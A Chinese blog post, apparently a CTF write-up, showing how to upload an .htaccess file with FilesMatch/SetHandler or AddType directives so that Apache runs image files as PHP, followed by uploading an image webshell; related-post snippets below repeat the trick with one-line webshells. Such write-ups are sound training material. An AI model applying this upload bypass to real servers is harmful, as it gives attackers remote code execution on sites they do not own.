.htaccess文件上传CTF讲解

最新推荐文章于 2024-08-05 14:41:36 发布
最新推荐文章于 2024-08-05 14:41:36 发布
阅读量3.3k 收藏 9
点赞数
分类专栏： CTF 文章标签： CTF
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/hxhxhxhxx/article/details/107158123
版权

.htaccess文件上传CTF详解

题目

在这里插入图片描述
在这里插入图片描述

解法

我们先写一个htaccess文件
通过它调用php解析器去解析一个文件名中只要包含"haha"这个字符串的任意文件，无论扩展名是什么(没有也行)，都会以php的方式来解析

<FilesMatch "haha">
 
SetHandler application/x-httpd-php
 
</FilesMatch>

或者如下，上传一个文件名为evil.gif的图片马：

<FilesMatch "evil.gif">

SetHandler application/x-httpd-php

</FilesMatch>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

方法2

在这里插入图片描述
上传.htaccess文件

AddType application/x-httpd-php .jpg

在这里插入图片描述

然后上传shell.jpg即可

無名之涟
关注
  • 0
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
文件上传漏洞笔记
weixin_42695055的博客
01-09 805
由于程序员在对用户文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型或者处理缺陷，而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。
.htaccess文件保护实例讲解
12-18
比如说，想要保护admin文件夹，经过以下两个步骤： 步骤一、可以用记事本新建文件.htaccess，输入以下内容： AuthType BasicAuth UserFile D:/AppServ/www/Hill/admin/.htpasswd AuthName “hill” require valid-...
[CTF].htaccess的使用技巧总结
热门推荐
Y4tacker的博客
05-11 1万+
文章目录前言.htaccess什么是htaccess文件简介其他实用指令自定义出错界面SetHandler和ForceTypeAddHandlerAddTypephp_valuephp_flagTrick总结利用404页面文件包含本地文件包含远程文件包含可以利用伪协议htaccess自己解析自己目录下有php文件无php文件文件解析配合一句话木马Cgi执行FastCgi执行利用报错信息写马绕过exif_imagetype()上传.htaccess\号绕过waf\号绕过藏字符参考文章 前言 这周参加了津门杯，
【CTF-Web】文件上传漏洞学习笔记（ctfshow题目）
jayq1的博客
06-03 2274
文件上传漏洞学习笔记，ctfshow题目为依托
【CTF整理】CTFhub技能树-Web-文件上传-.htaccess
SunnyCat
05-15 3137
【CTF整理】CTFhub技能树-Web-文件上传-.htaccess CTFhub技能树里面的题最近做了一些，但是除了之前的SQL注入之外，其他的我实在没什么兴趣整理，毕竟网上的整理出来的博主很多，之所以专门整理这个文件上传.htaccess的题目，是因为我踩坑了，本以为一道简单的题目我就这么硬生生的踩进去了，还差点没出来，浪费了不少金币啊。看别的博主都是上传.htaccess文件，上传修改后缀的一句话木马，菜刀或是蚁剑一连就getshell了，简单的不能再简单，为毛我试了N次都是不行？试了各种形式的.h
CTFHub技能书解题笔记-文件上传-.htaccess
qq_43006864的博客
01-05 1105
打开题目 这里好好看看题干，信息量蛮多的， 索性查查.htaccess。内容蛮多的，这里我就概括一下这道题用到的重点。 htaccess文件是Apache服务器中的一个配置文件，可以帮我们实现：改变文件扩展名。 然后，先构造一个.htaccess文件。文件内容是将文件扩展名改为PHP。方便我们执行马子。 附上文件内容：SetHandler application/x-httpd-php 打开链接 上传.htaccess文件。 然后上传.JPG格式的php马子。 其.
文件上传 .htaccess
最新发布
qq_69100706的博客
08-05 331
在CTF（Capture The Flag）竞赛中，利用.htaccess文件进行攻击是一种针对Web服务器配置的技巧，尤其是在Apache Web服务器环境下。.htaccess文件允许目录级别的配置，可以用来修改URL重写规则、设置自定义错误页面、限制IP访问、以及最重要的是，可以用来改变文件的处理方式，这在文件上传漏洞中尤其有用。
nginx支持.htaccess文件实现伪静态的方法分享
01-20
在Google上搜索的资料很多人都说nginx目前不支持.htaccess文件，我按照nginx的规则试验了一下，结果发现nginx是完全支持.htaccess文件的！ 方法如下： 1. 在需要使用.htaccess文件的目录下新建一个.htaccess文件， ...
21个常用的apache .htaccess文件配置技巧分享
01-10
Apache Web 服务器可以通过 .htaccess 文件来操作各种信息，这是一个目录级配置文件的默认名称，允许去中央化的 Web 服务器配置管理。可用来重写服务器的全局配置。该文件的目的就是为了允许单独目录的访问控制配置...
Apache服务器中.htaccess文件的实用配置示例集锦
09-10
Apache服务器中的`.htaccess`文件是一个非常重要的工具，它允许网站管理员无需直接修改服务器的主配置文件即可控制和定制特定目录的行为。`.htaccess`文件主要用于实现一系列HTTP服务器的指令，如URL重写、访问控制...
CTFHub | .htaccess
尼泊罗河伯的博客
03-18 1362
htaccess 文件是 Apache 服务器中的一个配置文件，它负责相关目录下的网页配置。通过 htaccess 文件，可以帮我们实现：网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
CTF学习笔记20：iwebsec-文件上传漏洞-05-htaccess文件上传
lvx++的博客
03-11 4866
一、通过之前的方法均不能上传php文件 通过burpsuite配合改扩展名、大小写、双写等手段均不上传成功 二、编写并上传.htaccess文件上传，将图片作为php解析 编写.htaccess文件并上传，作用是将之后上传的同文件夹下的jpg文件作为php文件解析执行 <FilesMatch "jpg"> SetHandler application/x-httpd-php </FilesMatch> 三、再直接上传之前同样图片文件，不改扩展名 四、测试连接 url地址中的地址
ini文件注释_CTF中.htaccess文件的利用
weixin_39630762的博客
11-27 219
CTF中.htaccess文件的利用.htaccess文件是Apache服务器中的一个配置文件，它负责相关目录下的网页配置。通过.htaccess文件可以在所在文件夹和子文件下改变php.ini的配置。在CTF的题目中，如果能够上传或者写入一个.htaccess，我们就可以做到比如说绕过WAF，以及文件包含等操作，因为之前打羊城杯看到.htaccess的文件的利用，就想把我自己之前遇到过...
关于上传.htaccess文件
weixin_43326436的博客
06-01 365
1.有时候因为名单的原因，只能上传php文件，而且并没有其他的东西解析成php，只有先上传一个.htaccess文件解析php才能继续上传。 2.建立一个.htaccess文件。内容这些 <FilesMatch “pino”> SetHandler application/x-httpd-php 这是原作大佬地址地址 3.使用 先将.htaccess文件上传，再建立一个pino文件，将一句话木马写入，连接的是pino文件地址，用菜刀或者蚁剑，就OK了。 ...
文件上传 .htaccess 与.user.ini
devil8123665的博客
03-13 2442
htaccess uesr.ini
CTFHub技能树之web文件上传“.htaccess”
qq_53148935的博客
04-04 730
注：本人第一次写博客，主要是为了记录解题过程，如有不足之处，欢迎指出，但勿喷。 这几天开始做了些ctfhub技能树里面的题目，因为我们这学期开始学了一些web攻防的内容，然后就想着去ctfhub练练技能，话不多说，我们直接进入解题过程。 先看看题目 这里给了些提示内容，说htaccess文件是apache的一个配置文件之类的，有兴趣可以自行百度了解一下。在这题里面，htaccess文件的作用就是让别的文件以你指定的方式运行，如.txt文件可以以.php文件的形式运行。 了解了这些之后我们就会有一
CTFHUB-文件上传之.htaccess文件利用
ITgougou_的博客
12-15 471
网上找了一下什么是.htaccess文件 首先我们先上传一个.htaccess文件，文件内容如下 SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 这里上传一个jpg文件，内容为一句话木马 蚁键连接，获得webshell ...
ctf php 文件上传,【CTF整理】CTFhub技能树-Web-文件上传-.htaccess
weixin_31986143的博客
03-19 296
【CTF整理】CTFhub技能树-Web-文件上传-.htaccessCTFhub技能树里面的题最近作了一些，可是除了以前的SQL注入以外，其余的我实在没什么兴趣整理，毕竟网上的整理出来的博主不少，之因此专门整理这个文件上传.htaccess的题目，是由于我踩坑了，本觉得一道简单的题目我就这么硬生生的踩进去了，还差点没出来，浪费了很多金币啊。看别的博主都是上传.htaccess文件，上传修改后缀的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值